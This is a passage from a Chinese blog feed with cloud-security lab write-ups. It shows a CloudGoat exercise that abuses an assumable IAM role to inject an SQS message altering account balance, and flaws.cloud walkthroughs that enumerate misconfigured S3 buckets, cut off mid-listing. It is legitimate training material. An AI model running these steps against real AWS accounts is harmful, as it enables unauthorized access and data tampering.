是一个全托管的<strong>消息队列服务</strong>，它就像是一个在分布式系统之间传递消息的可靠“信箱”，用于解耦和缓冲各个组件</p><p>它的核心工作模式是<strong>异步通信</strong>，可以确保消息在发送方和接收方之间安全、持久地传递</p><p>一个消息在 SQS 中的典型旅程是这样的：</p><ol><li><strong>生产 (Send)</strong>：<strong>生产者</strong>（Producer，比如你的应用或用户）将消息发送到 SQS 队列。</li><li><strong>存储 (Store)</strong>：SQS 会将消息<strong>持久化</strong>地存储在多个服务器上，确保高可用性。</li><li><strong>消费 (Receive)</strong>：<strong>消费者</strong>（Consumer，比如你的旗店服务器中的某个组件）从队列中拉取（Poll）消息进行处理。</li><li><strong>锁定与删除 (Lock &amp; Delete)</strong>：消息被拉取后，会进入一个“<strong>可见性超时</strong>”（Visibility Timeout）状态，在此期间对其他消费者不可见，防止被重复处理。处理成功后，消费者需要<strong>显式地从队列中删除</strong>该消息。</li></ol><p>看到这个IAM可以<code>send</code>到SQS，而且我们还可以assume这个IAM，于是攻击链就确定了</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">$ aws --profile sqs_user sts assume-role --role-arn arn:aws:iam::************:role/cg-sqs-sen</span><br><span class="line">d-message-cgid53u6q7pmic --role-session-name sqs_send_role</span><br><span class="line"></span><br><span class="line">{</span><br><span class="line">    <span class="string">"Credentials"</span>: {</span><br><span class="line">        <span class="string">"AccessKeyId"</span>: <span class="string">"ASIA****************"</span>,</span><br><span class="line">        <span class="string">"SecretAccessKey"</span>: <span class="string">"****************************************"</span>,</span><br><span class="line">        <span class="string">"SessionToken"</span>: <span class="string">"********"</span>,</span><br><span class="line">        <span class="string">"Expiration"</span>: <span class="string">"2026-07-24T15:08:41+00:00"</span></span><br><span class="line">    },</span><br><span class="line">    <span class="string">"AssumedRoleUser"</span>: {</span><br><span class="line">        <span class="string">"AssumedRoleId"</span>: <span class="string">"AROATY3L4FB4NE7TBXGDT:sqs_send_role"</span>,</span><br><span class="line">        <span class="string">"Arn"</span>: <span class="string">"arn:aws:sts::************:assumed-role/cg-sqs-send-message-cgid53u6q7pmic/sqs_send_role"</span></span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>查找sqs队列的url</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">~$ aws --profile sqs_send_role sqs get-queue-url --queue-name cash_charging_queue</span><br><span class="line">{</span><br><span class="line">    <span class="string">"QueueUrl"</span>: <span class="string">"https://sqs.us-east-1.amazonaws.com/************/cash_charging_queue"</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>之后可以知道这个网址的逻辑是在用户端发送请求的时候会传一个POST包用json格式将数据发到客户端，于是我们可以利用这个IAM直接上次一个数据包改掉我们的金币</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ aws --profile sqs_send_role sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/************/cash_charging_queue --message-body '{"charge_amount": 100000000}'</span><br></pre></td></tr></tbody></table></figure><blockquote><p>但是我没执行成功，甚至连靶场开的url都打不开，算了，知道这题的逻辑就行了，总结一下还是先信息搜集，在一个arn中找到一个assume策略，扮演一个更高权限的用户，实现越权修改数据，实战真能遇到吗</p></blockquote></body></html>]]>
    </content>
    <id>https://blog.btop251.top/Cloud-Security/Cloud-Security03/</id>
    <link href="https://blog.btop251.top/Cloud-Security/Cloud-Security03/"/>
    <published>2026-06-02T00:00:00.000Z</published>
    <summary>cloudegoat靶场练习上</summary>
    <title>云安全03</title>
    <updated>2026-06-02T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="云安全" scheme="https://blog.btop251.top/categories/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <category term="云安全" scheme="https://blog.btop251.top/tags/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<html><head></head><body><h1 id="flaws-cloud靶场练习"><a href="#flaws-cloud靶场练习" class="headerlink" title="flaws.cloud靶场练习"></a>flaws.cloud靶场练习</h1><p>靶场地址<a href="http://flaws.cloud/">flAWS</a></p><p><img src="/Cloud-Security/Cloud-Security02/Cloud-Security02.assets/image-20260601140451854.png" alt="image-20260601140451854" loading="eager" decoding="async"></p><h2 id="level-1"><a href="#level-1" class="headerlink" title="level 1"></a>level 1</h2><blockquote><p>This level is <em>buckets</em> of fun. See if you can find the first sub-domain.</p></blockquote><p>这里提示说了是关于存储桶（bucket）的，应该就是存储桶的信息泄露</p><h3 id="利用dig工具进行查询，查看IP地址"><a href="#利用dig工具进行查询，查看IP地址" class="headerlink" title="利用dig工具进行查询，查看IP地址"></a>利用<code>dig</code>工具进行查询，查看IP地址</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">$ dig flaws.cloud</span><br><span class="line"></span><br><span class="line">; &lt;&lt;&gt;&gt; DiG 9.20.18-1ubuntu2.1-Ubuntu &lt;&lt;&gt;&gt; flaws.cloud</span><br><span class="line">;; global options: +cmd</span><br><span class="line">;; Got answer:</span><br><span class="line">;; -&gt;&gt;HEADER&lt;&lt;- <span class="string">opcode: QUERY, status: NOERROR, id: 11735</span></span><br><span class="line"><span class="string">;; flags: qr rd ra; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 1</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; OPT PSEUDOSECTION:</span></span><br><span class="line"><span class="string">; EDNS: version: 0, flags:; udp: 65494</span></span><br><span class="line"><span class="string">;; QUESTION SECTION:</span></span><br><span class="line"><span class="string">;flaws.cloud.                   IN      A</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; ANSWER SECTION:</span></span><br><span class="line"><span class="string">flaws.cloud.            5       IN      A       3.5.78.238</span></span><br><span class="line"><span class="string">flaws.cloud.            5       IN      A       52.92.235.139</span></span><br><span class="line"><span class="string">flaws.cloud.            5       IN      A       52.218.213.114</span></span><br><span class="line"><span class="string">flaws.cloud.            5       IN      A       52.92.136.115</span></span><br><span class="line"><span class="string">flaws.cloud.            5       IN      A       3.5.78.69</span></span><br><span class="line"><span class="string">flaws.cloud.            5       IN      A       3.5.78.208</span></span><br><span class="line"><span class="string">flaws.cloud.            5       IN      A       52.92.192.139</span></span><br><span class="line"><span class="string">flaws.cloud.            5       IN      A       52.92.208.147</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; Query time: 5 msec</span></span><br><span class="line"><span class="string">;; SERVER: 127.0.0.53#53(127.0.0.53) (UDP)</span></span><br><span class="line"><span class="string">;; WHEN: Mon Jun 01 06:09:18 UTC 2026</span></span><br><span class="line"><span class="string">;; MSG SIZE  rcvd: 168</span></span><br></pre></td></tr></tbody></table></figure><h3 id="ip反查询"><a href="#ip反查询" class="headerlink" title="ip反查询"></a>ip反查询</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">$ dig -x 52.92.235.139</span><br><span class="line"></span><br><span class="line">; &lt;&lt;&gt;&gt; DiG 9.20.18-1ubuntu2.1-Ubuntu &lt;&lt;&gt;&gt; -x 52.92.235.139</span><br><span class="line">;; global options: +cmd</span><br><span class="line">;; Got answer:</span><br><span class="line">;; -&gt;&gt;HEADER&lt;&lt;- <span class="string">opcode: QUERY, status: NOERROR, id: 1998</span></span><br><span class="line"><span class="string">;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; OPT PSEUDOSECTION:</span></span><br><span class="line"><span class="string">; EDNS: version: 0, flags:; udp: 65494</span></span><br><span class="line"><span class="string">;; QUESTION SECTION:</span></span><br><span class="line"><span class="string">;139.235.92.52.in-addr.arpa.    IN      PTR</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; ANSWER SECTION:</span></span><br><span class="line"><span class="string">139.235.92.52.in-addr.arpa. 300 IN      PTR     s3-website-us-west-2.amazonaws.com.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">;; Query time: 4 msec</span></span><br><span class="line"><span class="string">;; SERVER: 127.0.0.53#53(127.0.0.53) (UDP)</span></span><br><span class="line"><span class="string">;; WHEN: Mon Jun 01 06:12:40 UTC 2026</span></span><br><span class="line"><span class="string">;; MSG SIZE  rcvd: 103</span></span><br></pre></td></tr></tbody></table></figure><p>成功得到<code>flaws.cloud</code>的S3存储桶的地址<code>s3-website-us-west-2.amazonaws.com</code></p><p>通过上述查询，我们知道<code>flaws.cloud</code>是一个在S3中的静态网站，地区位于<code>us-west-2</code>。如果使用一个自定义的域名（比如<code>flaws.cloud</code>）在S3中定义了一个静态站点，那它的<code>bucket name</code>则必须与这个自定义域名一致。对于S3存储桶上HTTP端点的URL遵循固定格式：<code>s3-&lt;region&gt;.amazonaws.com/&lt;bucketname&gt;</code>。基于这个准则，我们可以得出<code>flaws.cloud</code>的S3端点应该是<a href="https://link.juejin.cn/?target=http://s3-us-west-2.amazonaws.com/flaws.cloud">s3-us-west-2.amazonaws.com/flaws.cloud</a> 。</p><h3 id="直接访问这个存储桶"><a href="#直接访问这个存储桶" class="headerlink" title="直接访问这个存储桶"></a>直接访问这个存储桶</h3><p>得到xml，<strong>这是 Amazon S3 服务返回的固定格式的“目录列表”</strong>。</p><p>当你直接访问一个 S3 存储桶的 HTTP 端点（<code>http://s3-us-west-2.amazonaws.com/桶名</code>），并且该桶配置了 <strong>ListBucket</strong> 权限时，S3 服务不会返回某个文件，而是会以 <strong>XML 格式</strong> 返回该桶内的<strong>对象列表</strong>。</p><figure class="highlight xml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">ListBucketResult</span> <span class="attr">xmlns</span>=<span class="string">"http://s3.amazonaws.com/doc/2006-03-01/"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Name</span>&gt;</span>flaws.cloud<span class="tag">&lt;/<span class="name">Name</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Prefix</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Marker</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">MaxKeys</span>&gt;</span>1000<span class="tag">&lt;/<span class="name">MaxKeys</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">IsTruncated</span>&gt;</span>false<span class="tag">&lt;/<span class="name">IsTruncated</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>hint1.html<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-03-14T03:00:38.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"f32e6fbab70a118cf4e2dc03fd71c59d"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>2575<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>hint2.html<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-03-03T04:05:17.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"565f14ec1dce259789eb919ead471ab9"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>1707<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>hint3.html<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-03-03T04:05:11.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"ffe5dc34663f83aedaffa512bec04989"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>1101<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>index.html<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2024-02-22T02:32:41.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"cf2618d97d3a311b9b1453a4d4e02930"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>2861<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>logo.png<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2018-07-10T16:47:16.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"0623bdd28190d0583ef58379f94c2217"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>15979<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>robots.txt<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-02-27T01:59:28.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"9e6836f2de6d6e6691c78a1902bf9156"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>46<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Key</span>&gt;</span>secret-dd02c7c.html<span class="tag">&lt;/<span class="name">Key</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">LastModified</span>&gt;</span>2017-02-27T01:59:30.000Z<span class="tag">&lt;/<span class="name">LastModified</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">ETag</span>&gt;</span>"c5e83d744b4736664ac8375d4464ed4c"<span class="tag">&lt;/<span class="name">ETag</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">Size</span>&gt;</span>1051<span class="tag">&lt;/<span class="name">Size</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">StorageClass</span>&gt;</span>STANDARD<span class="tag">&lt;/<span class="name">StorageClass</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">Contents</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">ListBucketResult</span>&gt;</span></span><br></pre></td></tr></tbody></table></figure><p>这个 XML 就是该 S3 桶的“目录索引”，里面的每个 <code>&lt;Key&gt;</code> 代表桶里的一个文件：</p><table><thead><tr><th align="left">Key 值</th><th align="left">说明</th></tr></thead><tbody><tr><td align="left"><code>hint1.html</code> / <code>hint2.html</code> / <code>hint3.html</code></td><td align="left">挑战的提示页面</td></tr><tr><td align="left"><code>index.html</code></td><td align="left">网站首页</td></tr><tr><td align="left"><code>logo.png</code></td><td align="left">网站 Logo</td></tr><tr><td align="left"><code>robots.txt</code></td><td align="left">搜索引擎爬虫规则</td></tr><tr><td align="left"><strong><code>secret-dd02c7c.html</code></strong></td><td align="left"><strong>第一关的“钥匙”文件</strong></td></tr></tbody></table><p>在存储桶后面直接加上这个文件就可以访问这个文件了，得到通关文件地址</p><p><a href="https://s3-us-west-2.amazonaws.com/flaws.cloud/secret-dd02c7c.html">https://s3-us-west-2.amazonaws.com/flaws.cloud/secret-dd02c7c.html</a></p><h2 id="level-2"><a href="#level-2" class="headerlink" title="level 2"></a>level 2</h2><blockquote><p>The next level is fairly similar, with a slight twist. You’re going to need your own AWS account for this. You just need the <a href="https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/">free tier</a>.</p></blockquote><p>第二关和第一关大致相同，但是将访问存储桶的权限从<code>公开权限</code>变成了<code>列表权限</code></p><h3 id="桶策略"><a href="#桶策略" class="headerlink" title="桶策略"></a>桶策略</h3><ol><li><strong><code>Public</code> (完全公开)</strong><ul><li>比如你玩的第一关。任何能上网的人，不需要任何凭证就能列出和下载文件，匿名访问。</li><li><code>curl</code> 不加任何参数就能直接访问。</li></ul></li><li><strong><code>Authenticated Users</code> (任何认证用户，第二关的情况)</strong><ul><li>访问者<strong>只需要拥有一个有效的 AWS 账号（并配置好密钥）</strong>，就能访问。</li><li><strong>逻辑</strong>：桶的主人可能错误地认为“认证用户”等于“我们公司的同事”，但实际上它等于“地球上任何一个注册了 AWS 的人”。</li></ul></li><li><strong><code>Private</code> (私有)</strong><ul><li>最安全的状态。需要通过 IAM 策略或 Bucket Policy，<strong>明确地、白名单式地</strong>授权给特定的 IAM 用户、角色或具体的 AWS 账号 ID 才能访问。</li></ul></li></ol><hr><p>Level 2 的 S3 桶 (<code>level2-c8b2...</code>) 设置了一个 Bucket Policy，其 <code>Principal</code> 字段可能被设置为 <code>"AWS": "*"</code>。在 AWS IAM 语境下，这代表“任何认证用户”。</p><p>当你执行 <code>aws s3 ls s3://level2-c8b2...</code> 时，AWS 收到请求并看到了你的“身份证”（Access Key）。S3 服务会检查该桶的权限策略，发现上面写着“持有任何有效 AWS 身份证的人都可以进来看看”。于是，S3 判断：“是的，你有一个合法的 AWS 身份证，你有权访问。” → 给你返回了文件列表。</p><p>关于创建aws用户在我的第二篇博客<a href="https://blog.btop251.top/posts/%E4%BA%91%E5%AE%89%E5%85%A8/%E4%BA%91%E5%AE%89%E5%85%A801/">Btop251的博客 - 云安全01</a>中有讲，这里不再赘述</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ aws s3 <span class="built_in">ls</span> s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud</span><br><span class="line">2017-02-27 02:02:15      80751 everyone.png</span><br><span class="line">2017-03-03 03:47:17       1433 hint1.html</span><br><span class="line">2017-02-27 02:04:39       1035 hint2.html</span><br><span class="line">2017-02-27 02:02:14       2786 index.html</span><br><span class="line">2017-02-27 02:02:14         26 robots.txt</span><br><span class="line">2017-02-27 02:02:15       1051 secret-e4443fc.html</span><br></pre></td></tr></tbody></table></figure><p>得到下一关的文件名，拼接构造url</p><p><a href="http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html">http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html</a></p><h2 id="level-3"><a href="#level-3" class="headerlink" title="level 3"></a>level 3</h2><blockquote><p>The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you’ll find something that will let you list what other buckets are.</p></blockquote><p>这一关看起来像是git泄露</p><p><a href="http://s3-us-west-2.amazonaws.com/level3-9afd3927f195e10225021a578e6f78df.flaws.cloud">http://s3-us-west-2.amazonaws.com/level3-9afd3927f195e10225021a578e6f78df.flaws.cloud</a></p><p>先访问存储桶看看目录有什么文件</p><figure class="highlight xml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span 